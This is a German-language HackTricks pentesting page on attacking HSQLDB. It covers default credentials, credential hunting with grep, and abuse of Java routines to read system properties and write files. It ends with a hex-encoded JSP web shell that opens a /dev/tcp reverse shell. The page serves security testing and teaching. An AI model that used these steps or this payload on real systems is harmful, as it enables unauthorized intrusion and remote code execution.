hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

95 lines
6 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
# Grundlegende Informationen
2024-02-10 15:36:32 +00:00
**HSQLDB \([HyperSQL-Datenbank](http://hsqldb.org/)\)** ist das führende SQL-Relationssystem, das in Java geschrieben ist. Es bietet eine kleine, schnelle, mehrfädige und transaktionale Datenbank-Engine mit Speichertabellen und tabellenbasierten Tabellen und unterstützt eingebettete und Servermodi.
2024-02-10 15:36:32 +00:00
**Standardport:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
2024-02-10 15:36:32 +00:00
# Informationen
2024-02-10 15:36:32 +00:00
### Standardkonfiguration
2024-02-10 15:36:32 +00:00
Beachten Sie, dass dieser Dienst standardmäßig wahrscheinlich im Speicher ausgeführt wird oder an localhost gebunden ist. Wenn Sie ihn gefunden haben, haben Sie wahrscheinlich einen anderen Dienst ausgenutzt und suchen nach Möglichkeiten, Privilegien zu eskalieren.
2024-02-10 15:36:32 +00:00
Standardmäßige Anmeldeinformationen sind normalerweise `sa` mit einem leeren Passwort.
2024-02-10 15:36:32 +00:00
Wenn Sie einen anderen Dienst ausgenutzt haben, suchen Sie nach möglichen Anmeldeinformationen unter Verwendung von
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
2024-02-10 15:36:32 +00:00
Beachten Sie den Datenbanknamen sorgfältig - Sie benötigen ihn, um eine Verbindung herzustellen.
2024-02-10 15:36:32 +00:00
# Informationsbeschaffung
2024-02-10 15:36:32 +00:00
Stellen Sie eine Verbindung zur DB-Instanz her, indem Sie HSQLDB [herunterladen](https://sourceforge.net/projects/hsqldb/files/) und `hsqldb/lib/hsqldb.jar` extrahieren. Führen Sie die GUI-Anwendung \(eww\) mit `java -jar hsqldb.jar` aus und stellen Sie eine Verbindung zur Instanz unter Verwendung der entdeckten/schwachen Anmeldeinformationen her.
2024-02-10 15:36:32 +00:00
Beachten Sie, dass die Verbindungs-URL für ein Remote-System wie folgt aussehen wird: `jdbc:hsqldb:hsql://ip/DBNAME`.
2022-05-01 12:49:36 +00:00
# Tricks
2022-05-01 12:49:36 +00:00
## Java Language Routines
2024-02-10 15:36:32 +00:00
Wir können statische Methoden einer Java-Klasse von HSQLDB aus mit Java Language Routines aufrufen. Beachten Sie, dass die aufgerufene Klasse im Klassenpfad der Anwendung vorhanden sein muss.
2024-02-10 15:36:32 +00:00
JRTs können `Funktionen` oder `Prozeduren` sein. Funktionen können über SQL-Anweisungen aufgerufen werden, wenn die Java-Methode eine oder mehrere SQL-kompatible primitive Variablen zurückgibt. Sie werden mit der `VALUES`-Anweisung aufgerufen.
2024-02-10 15:36:32 +00:00
Wenn die Java-Methode, die wir aufrufen möchten, void zurückgibt, müssen wir eine Prozedur verwenden, die mit der `CALL`-Anweisung aufgerufen wird.
2024-02-10 15:36:32 +00:00
## Lesen von Java-Systemeigenschaften
2024-02-10 15:36:32 +00:00
Funktion erstellen:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
2024-02-10 15:36:32 +00:00
Die folgende Funktion ausführen:
```text
VALUES(getsystemproperty('user.name'))
```
2024-02-10 15:36:32 +00:00
Sie können eine [Liste der Systemeigenschaften hier finden](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
2024-02-10 15:36:32 +00:00
## Inhalt in Datei schreiben
2024-02-10 15:36:32 +00:00
Sie können das Java-Gadget `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` verwenden, das sich im JDK befindet (automatisch in den Klassenpfad der Anwendung geladen wird), um hex-codierte Elemente über einen benutzerdefinierten Vorgang auf die Festplatte zu schreiben. **Beachten Sie die maximale Größe von 1024 Bytes**.
2024-02-10 15:36:32 +00:00
Erstellen Sie den Vorgang:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
2024-02-10 15:36:32 +00:00
Führe das Verfahren aus:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>